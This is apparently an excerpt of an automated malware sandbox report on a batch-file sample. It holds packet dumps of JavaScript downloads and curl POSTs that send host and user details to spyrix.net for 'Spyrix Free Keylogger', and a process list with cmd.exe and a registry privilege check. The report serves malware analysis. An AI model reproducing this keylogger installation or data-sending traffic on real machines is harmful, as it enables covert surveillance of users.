2024-10-02 04:13:11 UTC	4096	IN	Data Raw: 60 92 86 62 a7 40 be ec c4 00 3d 38 9d 4c 6e 83 2f e1 f4 78 64 2c 41 21 84 05 71 24 04 81 6e 2e c2 da 87 8b e8 b5 7e 65 11 b5 48 76 90 ce 47 79 2b 29 28 74 b6 c7 ba 5c c3 e6 32 40 c4 8c 46 0f c6 39 74 f2 ad 01 c8 46 41 66 af ab ba f1 08 b3 5f 40 3b 65 0e 76 93 ee 73 34 8e 0e ab 8e 67 bf a9 22 9a fa 5e 2f 2e 02 11 75 de 16 e1 27 4a 21 47 52 3d 2d 3d 65 df 20 48 b5 34 4c 9c 28 49 3e a6 af 67 1f 2b 2f 9e 64 04 e5 e3 d8 94 fa 9c 7a 48 5c 87 c3 e2 1d d2 dc 91 27 81 f8 dc d1 df 6d 15 f2 ae da 75 b9 3b 90 b3 b5 f1 2f 1a f3 97 5e 7f eb af be 44 39 d4 f9 51 c9 49 4f 2b a6 e8 cc 72 50 09 57 e2 37 bc 98 bf d7 e7 70 37 18 15 b6 32 c4 a3 6f 7a d8 25 5f ce 93 fe dc 82 96 49 6d be 3c 2e 76 34 e4 d1 1a 02 ba 29 de a0 e9 f7 b6 8b 95 ad 2d a8 b2 8c 8b 0a cf dd b9 0f d9 2e Data Ascii: `b@=8Ln/xd,A!q$n.~eHvGy+)(t\2@F9tFAf_@;evs4g"^/.u'J!GR=-=e H4L(I>g+/dzH\'mu;/^D9QIO+rPW7p72oz%_Im<.v4)-.
2024-10-02 04:13:11 UTC	4096	IN	Data Raw: 67 9b 5b 6a d5 e8 e4 79 f3 66 7e cf fc 39 f6 19 d6 30 64 a2 6e 9f e5 6f eb b7 42 13 05 d6 6e 8a d4 a4 e4 59 eb ac a5 bb 29 5d 88 a2 4f c7 74 4e 4a d3 3e 31 e7 b3 17 8e b8 d0 76 11 48 6d 5a a1 f3 39 5f 5d 17 a8 9d 93 31 bc 03 19 0d fb 77 c8 53 ae 12 67 d3 97 a9 e5 12 f6 c7 37 0e 47 03 2a 2b 38 42 0f 09 8c 9f 6f 22 48 24 94 ee 24 b7 e8 d3 25 1f e6 17 e6 23 8a 07 7f d5 7c ed 3a ab 4b 4b 8c 9a 66 0e de 67 5e af fa 83 3a c2 b9 ea 69 55 74 f4 90 af 8e 85 55 25 b1 b6 91 f1 0e 00 2b 87 cd 7f bc c9 19 8f 7e 64 3a eb 4b 3f 92 05 7d 59 ff 77 a8 46 8d 4d d7 2d 89 00 f4 e5 e7 01 f7 f2 a2 e3 ec 36 9d 05 7c e3 88 19 18 76 41 74 43 f0 0e 4d 61 8d 2a d9 bf a5 9c 97 8a c4 91 14 2c 2a 8f bb f4 cb 5a d6 77 9f ab c5 5c a7 c5 76 0e 99 a1 8f 61 48 00 ab bf 0d 50 6b e2 40 fd 29 Data Ascii: g[jyf~90dnoBnY)]OtNJ>1vHmZ9_]1wSg7G+8Bo"H$$%#\|:KKfg^:iUtU%+~d:K?}YwFM-6\|vAtCMa,*Zw\vaHPk@)
2024-10-02 04:13:11 UTC	4096	IN	Data Raw: 7c 74 00 94 f8 83 03 01 57 12 6b a5 b4 59 46 97 d1 dd 65 7a 29 e7 95 82 cf 0a 7c 57 ee bd a6 4f 46 e4 f8 80 65 ff 60 3d 12 15 8b 33 e0 15 ff d4 e0 bb 5a 35 9a 34 46 c2 48 5f 9d 66 f5 5a 22 25 5b 1e ed 13 e3 4e 79 94 fd 1b 99 d0 d9 b9 76 3f 24 c7 d6 3b 01 55 18 0b 65 3a 5a 09 12 19 d8 d1 30 d2 c2 24 22 47 44 42 06 a1 42 d0 d0 e1 18 d8 c4 24 64 a4 e2 c4 53 52 51 d0 33 71 73 cd 75 37 c4 bb ed 8e 7b 12 fd eb be 07 52 bd 92 e6 b5 37 d2 65 7a 27 c3 6e fe e7 ab 3e b9 2b 41 a1 9b 72 64 cb 93 af c0 7b 59 3e 78 e8 3f 2f bd e5 a1 88 a7 62 5e 4a f0 94 e2 5a e1 c2 10 8e 19 c6 0c 0b 79 2b b3 d4 67 3e fe e7 ab 9c 9f 0a fe be 58 a6 52 80 2a cb 7d 15 a8 da 4a 35 56 a9 b5 da 77 6b d4 09 52 2f 58 83 b5 1a ad d3 24 44 b3 f5 5a 6c f4 c3 26 6d 36 db a2 c3 56 3f 85 ea 14 a6 4b Data Ascii: \|tWkYFez)\|WOFe`=3Z54FH_fZ"%[Nyv?$;Ue:Z0$"GDBB$dSRQ3qsu7{R7ez'n>+Ard{Y>x?/b^JZy+g>XR*}J5VwkR/X$DZl&m6V?K
2024-10-02 04:13:11 UTC	4096	IN	Data Raw: 50 4e a7 93 26 a5 bf 5e 6a 4d 66 13 b4 f6 b3 2d c5 74 ae b8 b4 76 3e 5c 71 d3 52 ab 22 9a f7 68 29 3e 6f 69 77 da 17 9a 52 88 b3 9c 07 33 2d d2 a9 71 30 fb 25 1c d8 f9 c4 6e 2b 9c d5 75 70 bf f6 55 2a ae 66 8c 92 37 3c 52 af 34 e3 99 a1 5f f2 77 d7 fb 4d 11 0d 37 22 d2 85 54 27 5d a7 50 47 16 3b 14 65 84 01 87 1d e8 3c 7a 1f 90 1b 06 35 23 58 2d 63 49 f2 b6 ac 8e 6c 59 35 af 4d 77 44 da 36 9b 6d 0f 5e d1 27 5b d3 c7 31 6c 25 42 29 4d 3d ef 90 9d ef 18 83 0f 73 91 12 c3 8c e5 5c da 89 5b 86 93 fc a5 9c 6d 8f 3e 0f 75 b6 9f 03 95 80 9a a6 1b 07 fa 00 ef 37 29 e5 3d 0b ac 8b 61 7e 4c 76 02 d7 43 38 39 7e 11 8d 13 4a 6d 8f 8a 52 e0 6e c0 14 b3 15 12 20 b4 89 d4 b8 03 a8 77 07 b7 3d d4 16 39 5f 7a f0 5c a4 17 6e 86 a5 97 47 2a 8d 95 14 42 39 8d 38 e9 a7 c4 25 Data Ascii: PN&^jMf-tv>\qR"h)>oiwR3-q0%n+upUf7<R4_wM7"T']PG;e<z5#X-cIlY5MwD6m^'[1l%B)M=s\[m>u7)=a~LvC89~JmRn w=9_z\nGB98%
2024-10-02 04:13:11 UTC	2043	IN	Data Raw: 2f eb 5e 0e c5 fb ea 1a eb 70 8b 04 5d 6f c0 7d 8e 1b 9e 7e 66 a1 df e8 e9 11 e7 26 0a 85 9d d9 41 a1 32 58 6b a0 f1 c8 37 2a b1 3e ed fa ae 13 a2 93 0c 80 bb 01 c6 a5 44 61 76 b6 c4 e0 8b cf e8 3e b3 5d fc f7 61 e1 df be 89 36 c7 0e 34 dd 83 24 72 33 7a 19 a3 9c 62 71 b9 3e c3 f0 37 e0 aa 1b 01 37 16 6a b0 2d 0b bd 84 20 97 51 30 1d d8 53 2c 97 f6 15 a3 9e dc f7 e1 3c e3 16 64 df 2e 2a f6 84 96 8b 5d a3 15 eb bd 06 5d ef ea 29 26 12 9b e7 dd 1c 4f 19 c0 ae 49 b7 79 da 3f 74 2f fe 8c 0a 97 bc ed 1a 44 ee d3 fe a1 d1 9e d2 72 b0 e3 14 78 f5 db ce 41 ea 7d fa 53 f0 53 f3 ec 5c 92 c4 19 bc 75 57 a4 69 5d 18 f6 bd 4c 5a 85 66 4c aa 2e ca 06 97 58 d5 97 eb 5d d3 e8 15 4f ce 29 1a 27 4b a9 5e 9c e3 5d 1d c5 4c c9 29 9e 15 57 83 31 4f 2b 69 49 6d af 9b 54 66 c8 Data Ascii: /^p]o}~f&A2Xk7>Dav>]a64$r3zbq>77j- Q0S,<d.]])&OIy?t/DrxA}SS\uWi]LZfL.X]O)'K^]L)W1O+iImTf
2024-10-02 04:13:11 UTC	4096	IN	Data Raw: c3 f2 9c 52 e9 df 70 31 fe 4d d0 46 73 6f ff b9 40 9f 60 28 d1 da c7 9e 62 bd 51 9f af 1b 1c d6 c5 0e 5f 12 51 49 0e 10 d1 35 2c 1c 0f 0c 05 8a a6 89 fc 14 32 9e a7 d3 2b bb 6c 09 f9 fa 9f b7 bb 7f 0e 94 1a 9d 99 b7 db fd a3 81 83 71 39 b4 27 06 3f 5c ae 37 fb 19 a7 53 29 df af f1 9c 79 a2 be 86 0f 82 49 1a 14 47 66 7e ba 28 f0 5d ff 6f ab 35 8c 25 79 86 c2 bf ff 52 4e 78 68 30 c9 25 f1 d6 c2 28 bd d0 45 88 fb 6d 73 1e 69 5d c0 3f 71 88 f4 27 8c 7c f8 74 39 c1 10 62 4a 54 38 5b d2 41 26 63 72 c8 d6 4f 87 5d 9c 3d 1f 7d 3c c3 d0 a8 e5 18 3c b7 d8 0d 27 1a a5 e4 fd 5f 0e f6 59 c8 68 13 d7 60 4a b6 6d e0 bf ed 6e c1 d8 c9 93 c7 e9 b3 98 8f 63 d8 0f d3 cd 1d 93 87 91 e7 76 3b c9 06 bb 42 22 b6 65 f3 00 83 c6 ac 98 e8 8c c4 db f1 da d1 1e 9f 2f 55 f6 fc 3a 8d Data Ascii: Rp1MFso@`(bQ_QI5,2+lq9'?\7S)yIGf~(]o5%yRNxh0%(Emsi]?q'\|t9bJT8[A&crO]=}<<'_Yh`Jmncv;B"e/U:
2024-10-02 04:13:11 UTC	4096	IN	Data Raw: 3c ed da 5d 49 e6 59 b7 73 49 e5 e9 e7 7f 8c a4 93 42 b2 f2 93 ed 62 81 d9 cb 49 38 44 0f a7 b7 63 5f 8f f9 0c 5f 36 5c fa 91 13 f5 09 44 29 59 14 65 ec 9f d0 7f 7e 59 dc df d4 0b 44 0a 63 36 68 72 09 74 80 bf 13 43 53 c9 42 71 f2 71 3b 3a 7c 69 a8 fd f8 de 6c 5f be fe fe b0 8a 02 85 56 93 1f ca f1 57 22 9e 6f d6 8f bb c7 5b 03 2f d2 5a ae 9a 95 4c 8e f6 30 57 76 c2 4b c2 cb 0e 77 26 4d b0 a8 4a c9 d4 36 76 7f fa 1d 73 fd ee 18 de 74 d3 6e 45 de 8c 1b e7 44 5a c2 82 ad d7 68 65 94 2d d4 b2 d0 a7 37 b7 b2 74 a2 7d 6f 66 ca f3 76 7b 47 f3 85 bb cd f5 77 a6 df 87 64 53 71 40 77 f0 e9 d9 cc e1 70 40 28 10 cd a1 95 cd 53 32 ee a0 f0 e9 88 77 58 b5 43 56 da 34 ef e7 07 c0 f8 a8 94 b8 85 f6 a7 23 c3 37 27 d5 95 fe 1a 1f 27 a3 cf 2a 5b a4 77 82 22 fb a9 94 03 c8 Data Ascii: <]IYsIBbI8Dc__6\D)Ye~YDc6hrtCSBqq;:\|il_VW"o[/ZL0WvKw&MJ6vstnEDZhe-7t}ofv{GwdSq@wp@(S2wXCV4#7''*[w"
2024-10-02 04:13:11 UTC	4096	IN	Data Raw: eb 0c a9 c4 c7 08 dd a1 d0 cc 2c 28 ab b4 67 23 2f 06 1f bd b8 69 18 63 cf 2d 9c 7b f1 41 d1 1c eb e9 e0 8c 1e ae d6 a3 e2 ab b6 f7 e5 97 ce 0b 7e ee 36 bb f8 e1 85 72 b6 26 b4 b4 e7 09 56 2f 4c 08 83 66 65 52 2b 26 8f 74 8a 03 f8 7d 92 79 20 e4 00 7d 4b 4d 11 25 39 5a 40 49 2e aa d9 82 6d dd 42 3b 5c 7d c7 41 e1 f3 ed f0 1d db e1 c1 2d 87 f1 c3 d5 8d 50 52 74 34 9c d4 d4 be 85 be a5 9f be b5 d7 1c 6a 34 df 49 bd 5d bd e5 c4 ab 76 ee 6f 1c 13 3f 9a 63 fa 8d cb fd 97 63 8a e6 7f b6 79 60 35 06 1d 21 e7 56 5a 86 d4 e1 16 64 40 ea f8 90 7c 3c 0f 33 c8 ee 5e 40 21 c9 bd ea 5a 28 8f 98 5b e8 d2 aa 0b aa 95 d6 a1 09 19 e4 23 dd f1 a0 93 91 ba aa 0a 77 fd b5 62 9c d7 27 f9 84 9d 24 33 38 54 22 d6 81 e4 7a b8 98 94 9b 97 a4 51 e7 54 c4 9b fc 39 79 e4 23 e0 13 1d Data Ascii: ,(g#/ic-{A~6r&V/LfeR+&t}y }KM%9Z@I.mB;\}A-PRt4j4I]vo?ccy`5!VZd@\|<3^@!Z([#wb'$38T"zQT9y#
2024-10-02 04:13:11 UTC	4096	IN	Data Raw: 36 01 9a 52 33 74 77 2d 81 83 ab de 5d 8e 19 3b c8 62 3f 1b 6b 2c 78 0d 7e 67 df 2d 55 02 1d bb da c8 67 95 a5 58 48 1e 05 9b 1f 75 57 51 40 ee 0f c1 db 8c fa a3 82 5f a7 d0 ca 60 a4 fb 3f 35 09 2f a4 6a c8 00 d6 98 6a d2 8b 90 11 d1 6c 22 f4 20 3d 25 74 60 ad 6b a3 5e 4c 9d a4 26 5e 4a e9 e8 80 b1 3c c6 5c 42 88 60 2f e4 61 e4 03 28 72 18 e2 b3 cd 06 be 00 f8 7d 26 68 a8 51 52 f5 9d db e6 bb 6a 3a fb de 6a 42 af 5e bc e6 ad 10 62 d3 cb 6c 95 a2 27 9c 4e 07 51 8a eb 5d 49 09 2f df e2 9a 2b 18 f7 c1 af ab 52 5a e7 d4 96 9c 00 44 94 ef 91 13 25 b5 73 52 5a 57 fd fa 80 8b 5d 01 c4 f4 6a bd d4 d7 b5 ec c8 8f 9d 6d 7c 45 ca 88 93 bf 3f e0 85 5e 05 6c ec b7 6c 72 d2 d4 06 ed 98 e6 43 67 e3 b4 c7 8d 4d 4b 5b 75 59 0d c6 f6 ee 83 fb d8 e8 71 c0 b9 19 19 47 5c fb Data Ascii: 6R3tw-];b?k,x~g-UgXHuWQ@_`?5/jjl" =%t`k^L&^J<\B`/a(r}&hQRj:jB^bl'NQ]I/+RZD%sRZW]jm\|E?^llrCgMK[uYqG\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49791	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:14 UTC	387	OUT	GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:14 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:14 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 838 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-346" Cache: STALE X-Cached-Since: 2024-10-01T23:20:45+00:00 X-Node: m9-up-gc42 Accept-Ranges: bytes
2024-10-02 04:13:14 UTC	838	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 63 20 61 73 20 6e 2c 6d 20 61 73 20 69 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 69 6e 63 6c 75 64 65 73 28 22 40 22 29 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 2e 22 29 3f 22 22 3a 74 28 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3c 3d 31 38 30 3f 22 22 3a 74 28 22 54 68 65 20 66 69 65 6c 64 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 6c 65 73 73 20 74 68 61 6e 20 31 38 30 20 63 68 61 72 61 63 74 65 72 73 Data Ascii: import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49789	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:14 UTC	415	OUT	GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:15 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:14 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3702 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-e76" Cache: STALE X-Cached-Since: 2024-10-01T19:54:21+00:00 X-Node: m9-up-gc33 Accept-Ranges: bytes
2024-10-02 04:13:15 UTC	3702	IN	Data Raw: 69 6d 70 6f 72 74 20 42 20 66 72 6f 6d 22 2e 2f 6c 6f 6f 70 2d 63 34 35 66 30 66 31 65 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 64 20 61 73 20 62 2c 6d 20 61 73 20 69 2c 61 69 20 61 73 20 77 2c 63 20 61 73 20 64 2c 6f 20 61 73 20 75 2c 62 20 61 73 20 68 2c 69 20 61 73 20 66 2c 6e 20 61 73 20 6f 2c 75 20 61 73 20 61 2c 68 20 61 73 20 70 2c 55 20 61 73 20 76 2c 7a 20 61 73 20 6d 2c 65 20 61 73 20 43 2c 79 20 61 73 20 49 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 35 36 65 64 66 35 61 36 2e 6a 73 22 3b 63 6f 6e 73 74 20 57 3d 22 2d 7a 74 Data Ascii: import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-zt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49792	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:14 UTC	378	OUT	GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:14 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:14 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 523 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-20b" Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:14 UTC	523	IN	Data Raw: 69 6d 70 6f 72 74 7b 6f 20 61 73 20 65 2c 62 20 61 73 20 6f 2c 69 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 73 3d 7b 78 6d 6c 6e 73 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 32 34 20 32 34 22 7d 2c 6e 3d 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 34 2e 37 32 20 31 33 2e 34 33 34 68 2d 2e 36 37 37 6c 2d 2e 32 34 2d 2e 32 33 32 61 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 31 2e 33 34 36 2d 33 2e 36 32 37 20 35 2e 35 37 34 20 35 2e 35 37 34 20 30 20 31 20 30 2d 35 2e 35 37 34 20 35 2e 35 37 34 20 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 33 2e 36 32 37 2d 31 2e 33 34 36 6c 2e 32 33 32 2e Data Ascii: import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49790	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:14 UTC	420	OUT	GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:14 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:14 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 796 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-31c" Cache: HIT X-Cached-Since: 2024-10-02T04:11:43+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:13:14 UTC	796	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 2c 67 20 61 73 20 63 2c 63 20 61 73 20 73 2c 6f 20 61 73 20 66 2c 62 20 61 73 20 6d 2c 68 20 61 73 20 70 2c 6e 2c 75 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 78 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 6f 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 54 65 78 74 2e 6d 6f 64 75 6c 65 2d 63 37 36 39 62 39 61 65 2e 6a 73 22 3b 63 6f 6e 73 74 20 62 3d 64 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 77 68 69 74 65 53 70 61 63 65 3a Data Ascii: import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49793	158.69.117.119	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:20 UTC	163	OUT	POST /dashboard/prg-list HTTP/1.1 Host: Spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 837 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:13:20 UTC	837	OUT	Data Raw: 26 74 72 69 61 6c 5f 69 64 3d 2d 31 26 6f 73 5f 69 6e 73 74 61 6c 6c 5f 64 61 74 65 3d 32 30 32 33 2d 31 30 2d 30 33 20 31 30 3a 35 37 3a 31 38 26 6f 73 5f 63 6f 75 6e 74 72 79 5f 63 6f 64 65 3d 34 34 20 20 20 20 20 20 20 20 20 20 20 26 64 6e 65 74 3d 34 2e 38 2e 30 34 30 38 34 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 31 30 2e 30 2e 31 39 30 34 35 20 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 6c 69 63 65 6e 73 65 3d 26 61 76 3d 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 63 6f 6d 70 5f 6e 61 Data Ascii: &trial_id=-1&os_install_date=2023-10-03 10:57:18&os_country_code=44 &dnet=4.8.04084&os_caption=Microsoft Windows 10 Pro 10.0.19045 &prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&license=&av=Windows Defender&os_type=windows&prg_lng=english&comp_na
2024-10-02 04:13:21 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:13:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49794	158.69.117.119	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:24 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 417 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:13:24 UTC	417	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 77 69 7a 61 72 64 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 68 75 62 65 72 74 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 33 32 30 33 36 36 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 31 35 38 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 33 3a 32 32 2e 37 32 37 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 Data Ascii: &action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:13:22.727&prg_lng=english&os_caption= ()&os_type=windows&
2024-10-02 04:13:25 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:13:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:11:08
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\D0WmCTD2qO.bat" "
Imagebase:	0x7ff6058a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:11:08
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:11:08
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKU\S-1-5-19\Environment"
Imagebase:	0x7ff7f9be0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

